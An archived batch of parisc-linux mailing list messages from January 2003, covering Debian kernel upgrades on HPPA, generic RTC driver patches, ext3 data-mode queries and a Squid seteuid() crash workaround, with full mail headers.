Original-Received: from CPE-203-51-30-119.nsw.bigpond.net.au ([203.51.30.119]) by psmam07.mailsvc.email.bigpond.com(MailRouter V3.0n 125/25017583); 12 Jan 2003 20:59:03
Original-Received: from pete by piglet2.sspl.net.au with local (Exim 3.35 #1 (Debian))
	id 18Xfsh-0007yJ-00
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 22:02:19 +1100
Content-Disposition: inline
In-Reply-To: <20030112073506.GB1177@tausq.org>
User-Agent: Mutt/1.3.28i
X-Operating-System: Linux/2.2.20-idepci (i586)
X-Uptime: 15:28:04 up 16 days, 15:58,  7 users,  load average: 0.09, 0.03, 0.01
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17352

* Randolph Chung (randolph@tausq.org) wrote:


> > Is upgrading the kernel for a stable system the same as for i386?  I
> > haven't done this with debian before.. but I'm sure there's something
> > debian about doing it.. :)
> > 
> > I'll find the relevant doco.. just want to know if it's the same for
> > the HPPA stuff.
> 
> Check out the "Kernel installation" section of the parisc linux boot
> howto
> 
> http://pateam.esiee.fr/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/kernelinstall.html

Thanks... this outlines what to do with a custom kernel.. I was
thinking there might be a debian way... like with kernel-packages (I
just reading up about it now for my i386 based system).

The kernel on the 715/64 is from last year sometime ago... I can get
the kernel version with uname becuase it seg faults.


Pete
:wq


From - Thu Nov 08 21:26:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Generic RTC driver in 2.4.x
Date: Sun, 12 Jan 2003 12:33:45 +0100 (MET)
Lines: 110
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.21.0301121214440.18673-100000__8824.98731739378$1416622102$gmane$org@vervain.sonytel.be>
References: <200301112050.46194.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622102 19784 80.91.229.3 (22 Nov 2014 02:08:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:22 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	parisc-linux@parisc-linux.org,
	Linux/PPC Development <linuxppc-dev@lists.linuxppc.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 12 04:34:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.sonytel.be (mail2.sonytel.be [195.0.45.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B9984829
	for <parisc-linux@parisc-linux.org>; Sun, 12 Jan 2003 04:34:33 -0700 (MST)
Original-Received: from vervain.sonytel.be (mail.sonytel.be [10.17.0.26])
	by mail.sonytel.be (8.9.0/8.8.6) with ESMTP id MAA22828;
	Sun, 12 Jan 2003 12:33:45 +0100 (MET)
In-Reply-To: <200301112050.46194.deller@gmx.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17353

On Sat, 11 Jan 2003, Helge Deller wrote:
> On Friday 10 January 2003 21:05, Geert Uytterhoeven wrote:
> > Unfortunately I didn't receive any feedback from the pa-risc and ppc people
> > after my previous posting last Sunday.
> 
> It took me some time, but here are the PA-RISC specific patches vs. your 
> latest genrtc driver.
> 
> Please consider applying,

Thanks! Applied.

I made some more changes afterwards:
  - Remove unnecessary forward declaration of gen_rtc_ioctl()
  - Add forward declaration for gen_rtc_interrupt()
  - Remove obsolete extern declaration for gen_rtc_interrupt() on m68k
  - Change `unsigned' to `unsigned int'
  - Change value of RTC_BATT_BAD to 0x100 (0x10 conflicted with RTC_UIE, and
    0x01 is already used in <linux/mc146818rtc.h>)
  - Update m68k get_rtc_time() to return flags

BTW, perhaps we should move the global RTC_* definitions in <asm/rtc.h> to
<linux/genrtc.h>, or merge them with the ones in <linux/mc146818rtc.h> and move
them to <linux/rtc.h>?

--- linux-genrtc-parisc-2.4.20/drivers/char/genrtc.c	Sun Jan 12 12:01:23 2003
+++ linux-m68k-2.4.20/drivers/char/genrtc.c	Sun Jan 12 12:18:21 2003
@@ -66,8 +66,8 @@
 
 static DECLARE_WAIT_QUEUE_HEAD(gen_rtc_wait);
 
-static int gen_rtc_ioctl(struct inode *inode, struct file *file,
-		     unsigned int cmd, unsigned long arg);
+static void gen_rtc_interrupt(unsigned long arg);
+
 
 /*
  *	Bits in gen_rtc_status.
@@ -446,7 +446,7 @@
 {
 	char *p;
 	struct rtc_time tm;
-	unsigned flags;
+	unsigned int flags;
 	struct rtc_pll_info pll;
 
 	p = buf;
--- linux-genrtc-parisc-2.4.20/include/asm-parisc/rtc.h	Sun Jan 12 12:01:23 2003
+++ linux-m68k-2.4.20/include/asm-parisc/rtc.h	Sun Jan 12 11:05:53 2003
@@ -12,8 +12,9 @@
 #define RTC_AIE 0x20		/* alarm interrupt enable */
 #define RTC_UIE 0x10		/* update-finished interrupt enable */
 
+#define RTC_BATT_BAD 0x100	/* battery bad */
+
 /* some dummy definitions */
-#define RTC_BATT_BAD 0x10	/* battery bad */
 #define RTC_SQWE 0x08		/* enable square-wave output */
 #define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
 #define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
@@ -37,7 +38,7 @@
 	{ 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
 };
 
-static inline unsigned get_rtc_time(struct rtc_time *wtime)
+static inline unsigned int get_rtc_time(struct rtc_time *wtime)
 {
 	/*
 	 * Only the values that we read from the RTC are set. We leave
--- linux-genrtc-parisc-2.4.20/include/asm-m68k/rtc.h	Fri Jan 10 20:54:25 2003
+++ linux-m68k-2.4.20/include/asm-m68k/rtc.h	Sun Jan 12 12:18:29 2003
@@ -21,15 +21,14 @@
 #define RTC_AIE 0x20		/* alarm interrupt enable */
 #define RTC_UIE 0x10		/* update-finished interrupt enable */
 
-extern void gen_rtc_interrupt(unsigned long);
-
 /* some dummy definitions */
+#define RTC_BATT_BAD 0x100	/* battery bad */
 #define RTC_SQWE 0x08		/* enable square-wave output */
 #define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
 #define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
 #define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
 
-static inline void get_rtc_time(struct rtc_time *time)
+static inline unsigned int get_rtc_time(struct rtc_time *time)
 {
 	/*
 	 * Only the values that we read from the RTC are set. We leave
@@ -38,6 +37,7 @@
 	 * by the RTC when initially set to a non-zero value.
 	 */
 	mach_hwclk(0, time);
+	return RTC_24H;
 }
 
 static inline int set_rtc_time(struct rtc_time *time)

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds



From - Thu Nov 08 21:26:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Generic RTC driver in 2.4.x
Date: Sun, 12 Jan 2003 13:35:33 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <200301121333.17077.deller__22605.0083911561$1416622102$gmane$org@gmx.de>
References: <Pine.GSO.4.21.0301121214440.18673-100000@vervain.sonytel.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_VEWI+gdsC5OAG5n"
X-Trace: ger.gmane.org 1416622102 19792 80.91.229.3 (22 Nov 2014 02:08:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:22 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	parisc-linux@parisc-linux.org,
	Linux/PPC Development <linuxppc-dev@lists.linuxppc.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 12 05:36:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.65.60])
	by dsl2.external.hp.com (Postfix) with SMTP id A66344829
	for <parisc-linux@parisc-linux.org>; Sun, 12 Jan 2003 05:35:57 -0700 (MST)
Original-Received: (qmail 26017 invoked by uid 0); 12 Jan 2003 12:35:55 -0000
Original-Received: from dialin-212-144-171-046.arcor-ip.net (HELO P100.helgenet.de) (212.144.171.46)
  by mail.gmx.net (mp003-rz3) with SMTP; 12 Jan 2003 12:35:55 -0000
User-Agent: KMail/1.5
In-Reply-To: <Pine.GSO.4.21.0301121214440.18673-100000@vervain.sonytel.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17354

--Boundary-00=_VEWI+gdsC5OAG5n
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Sunday 12 January 2003 12:33, Geert Uytterhoeven wrote:
> I made some more changes afterwards:
>   - Add forward declaration for gen_rtc_interrupt()

This one should be moved inside the #ifdef CONFIG_GEN_RTC_X section to
avoid "genrtc.c:69: warning: `gen_rtc_interrupt' declared `static' but never defined"
warnings. Please see attached patch.

Or, you could just move the declaration of gen_rtc_interrupt() above the one
from genrtc_troutine(), in which case we wouldn't need the forward declaration at all.

> BTW, perhaps we should move the global RTC_* definitions in <asm/rtc.h> to
> <linux/genrtc.h>, or merge them with the ones in <linux/mc146818rtc.h> and
> move them to <linux/rtc.h>?

IMHO leaving them architecture specific in <asm/rtc.h> seems best to me, and it 
leaves the most possibilities to make them later more dependend on the hardware.

Helge


--Boundary-00=_VEWI+gdsC5OAG5n
Content-Type: text/plain;
  charset="iso-8859-1";
  name="diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="diff"

--- ./genrtc.c.geert	Sun Jan 12 13:16:40 2003
+++ ./genrtc.c	Sun Jan 12 13:15:18 2003
@@ -66,9 +66,6 @@
 
 static DECLARE_WAIT_QUEUE_HEAD(gen_rtc_wait);
 
-static void gen_rtc_interrupt(unsigned long arg);
-

From - Thu Nov 08 21:26:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] upgrading kernel
Date: Sun, 12 Jan 2003 21:44:55 +0800
Lines: 25
Approved: news@gmane.org
Message-ID: <20030112214452.B25226@neep.com.au>
References: <20030112073656.GB13397@piglet2> <20030112073506.GB1177@tausq.org> <20030112110219.GC13397@piglet2>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622102 19794 80.91.229.3 (22 Nov 2014 02:08:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:22 +0000 (UTC)
To: parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 12 06:45:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (p003.sw02.auto.usertools.net [202.154.81.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2200D4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 06:45:21 -0700 (MST)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id VAA26958
	for parisc-linux@lists.parisc-linux.org; Sun, 12 Jan 2003 21:44:59 +0800
Mail-Followup-To: parisc <parisc-linux@lists.parisc-linux.org>
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20030112110219.GC13397@piglet2>; from plaven@bigpond.net.au on Sun, Jan 12, 2003 at 10:02:19PM +1100
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17355

Peter Lavender said:
> Thanks... this outlines what to do with a custom kernel.. I was
> thinking there might be a debian way... like with kernel-packages (I
> just reading up about it now for my i386 based system).

You can build your new kernel the Debian way with make-kpkg - the
kernel-package system is available for the hppa architecture.  I don't
know if it works yet in all of Debian's architectures (ie knows how to
configure all the boot loaders) but I think it knows about PALO so hppa
should be fine.

> The kernel on the 715/64 is from last year sometime ago... I can get
> the kernel version with uname becuase it seg faults.

You might be able to find out with 'file /vmlinux' ... or 'dmesg|head'
or 'head /var/log/dmesg' ...

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:26:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned accesses
Date: Sun, 12 Jan 2003 15:25:05 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <3E2188D1.6080807@freebel.net>
References: <20030110170813.X26554@parcelfarce.linux.theplanet.co.uk>	<3E1AA8D500000AF7@ocpmta8.freegates.net>	<20030110231313.1215dc79.varenet@esiee.fr> <20030110232510.25aef7c2.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622103 19796 80.91.229.3 (22 Nov 2014 02:08:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 12 07:16:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33D874829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 07:16:38 -0700 (MST)
Original-Received: from [62.235.172.56] (helo=freebel.net)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18XiuD-0005xl-00; Sun, 12 Jan 2003 15:16:06 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021226 Debian/1.2.1-9
In-Reply-To: <20030110232510.25aef7c2.varenet@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17356

Hi Thibaut

Thibaut VARENE wrote:
> On Fri, 10 Jan 2003 23:13:13 +0100
> "Thibaut VARENE" <varenet@esiee.fr> wrote:
> 
> I hate to reply to myself but I said crap in my previous mail.
> All apologies:
> 
>>FWIW, the default option (used by most people) is data=journal, and is not affected by that bug. We've been using 2.4.20 with ext3 for weeks pretty safely here.
> 
> it was: "the default option is data=ordered" of course, which is safe.
> 
I just to ask you additional help: I do not recover the method to get 
the actual setup of my fs ext3 (i do severall test but a time ago and do 
not remember in which state I let it: well operational but what more??)

Thanks,
	Joel




From - Thu Nov 08 21:26:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Luigi Gangitano <luigi@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Issues with seteuid()?
Date: 12 Jan 2003 16:49:29 +0100
Organization: Debian
Lines: 57
Approved: news@gmane.org
Message-ID: <1042386569.3329.4.camel@luigi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-5aYh0omKkZT8g4dFQCiV"
X-Trace: ger.gmane.org 1416622103 19801 80.91.229.3 (22 Nov 2014 02:08:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 12 08:49:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server.gangitano.it (net155-138.mclink.it [195.110.155.138])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B2804829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 08:49:33 -0700 (MST)
Original-Received: from luigi (postfix@luigi.gangitano.it [192.168.0.3])
	by server.gangitano.it (8.12.6/8.12.3) with ESMTP id h0CFnU9P003509
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 16:49:31 +0100
Original-Received: by luigi (Postfix, from userid 1000)
	id CBD3C8233; Sun, 12 Jan 2003 16:49:29 +0100 (CET)
X-Mailer: Ximian Evolution 1.2.1 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17357

--=-5aYh0omKkZT8g4dFQCiV
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable


Hi all,
I'm the Debian package maintainer for Squid (HTTP Proxy). I received the
forwarded bug report describing issues in seteuid() on palinux. While
using seteuid(), forked processes terminate with SEGV.

Is it a known problem?

Thanks.

L

Please CC: me, I'm not subscribed to this list.

-----Forwarded Message-----
> This small mail to mentionned that I reach to make squid operational on
> a linux-2.4.20-pa17 thanks to the following tips:
>=20
> in debian rules replace statement
>     ac_cv_func_setresuid=3Dno \
> by
>     ac_cv_func_setresuid=3Dyes \
>=20
> so that function leave_suid() [into src/tools.c] will use setresuid() in
> place of seteuid() before launch fork().
>=20
> Is it a know problem on palinux?
>=20
> Greetings,
>     Joel
>=20
> PS: Luigi, I also test it on 2.5.1 and it works also for parisc linux (te=
sting
> config). HTH

--=20
 Luigi Gangitano -- <luigi@debian.org> -- <gangitano@lugroma3.org>
 GPG: 1024D/924C0C26: 12F8 9C03 89D3 DB4A 9972  C24A F19B A618 924C 0C26

--=-5aYh0omKkZT8g4dFQCiV
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQA+IY6J8ZumGJJMDCYRAgwnAJ9ZZt4fLDvbQDnpws0KyRugJ2+luACeJF2+
W30MJW3i5S7UMy6+lJkDHaY=
=uM3Z
-----END PGP SIGNATURE-----

--=-5aYh0omKkZT8g4dFQCiV--


From - Thu Nov 08 21:26:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned accesses
Date: Sun, 12 Jan 2003 17:02:45 +0100
Organization: ESIEE
Lines: 31
Approved: news@gmane.org
Message-ID: <20030112170245.497cc85f.varenet@esiee.fr>
References: <20030110170813.X26554@parcelfarce.linux.theplanet.co.uk>
	<3E1AA8D500000AF7@ocpmta8.freegates.net>
	<20030110231313.1215dc79.varenet@esiee.fr>
	<20030110232510.25aef7c2.varenet@esiee.fr>
	<3E2188D1.6080807@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622103 19805 80.91.229.3 (22 Nov 2014 02:08:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 12 09:02:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e146.dhcp212-198-142.noos.fr [212.198.142.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88C7B4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 09:02:52 -0700 (MST)
Original-Received: from Tatooine (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.1) with SMTP id h0CG2miL025366
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 17:02:49 +0100
In-Reply-To: <3E2188D1.6080807@freebel.net>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17358

On Sun, 12 Jan 2003 15:25:05 +0000
"Joel Soete" <joel.soete@freebel.net> wrote:

> Hi Thibaut
> 
> Thibaut VARENE wrote:
> > On Fri, 10 Jan 2003 23:13:13 +0100
> > "Thibaut VARENE" <varenet@esiee.fr> wrote:
> > 
> > I hate to reply to myself but I said crap in my previous mail.
> > All apologies:
> > 
> >>FWIW, the default option (used by most people) is data=journal, and is not affected by that bug. We've been using 2.4.20 with ext3 for weeks pretty safely here.
> > 
> > it was: "the default option is data=ordered" of course, which is safe.
> > 
> I just to ask you additional help: I do not recover the method to get 
> the actual setup of my fs ext3 (i do severall test but a time ago and do
> not remember in which state I let it: well operational but what more??)
To get the actual configuration of a ext[23] fs, you can use 'tune2fs -l <device>'. To get the current state of data mode of an ext3 fs, look at dmesg. I don't know another way to get that info.
The data mode is decided at mount time, with 'mount -o data=xxx <device>'.

FWIW, I remember having found all that info in man tune2fs, man mount and man mke2fs.

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:26:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Zidlicky <rz@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Generic RTC driver in 2.4.x
Date: Sun, 12 Jan 2003 22:49:08 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20030112224908.A618__47144.8612669066$1416622104$gmane$org@linux-m68k.org>
References: <Pine.GSO.4.21.0301121214440.18673-100000@vervain.sonytel.be> <200301121333.17077.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622104 19809 80.91.229.3 (22 Nov 2014 02:08:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:24 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>, parisc-linux@parisc-linux.org,
	Linux/PPC Development <linuxppc-dev@lists.linuxppc.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 12 15:27:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from faui80.informatik.uni-erlangen.de (faui80.informatik.uni-erlangen.de [131.188.38.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2BBD34829
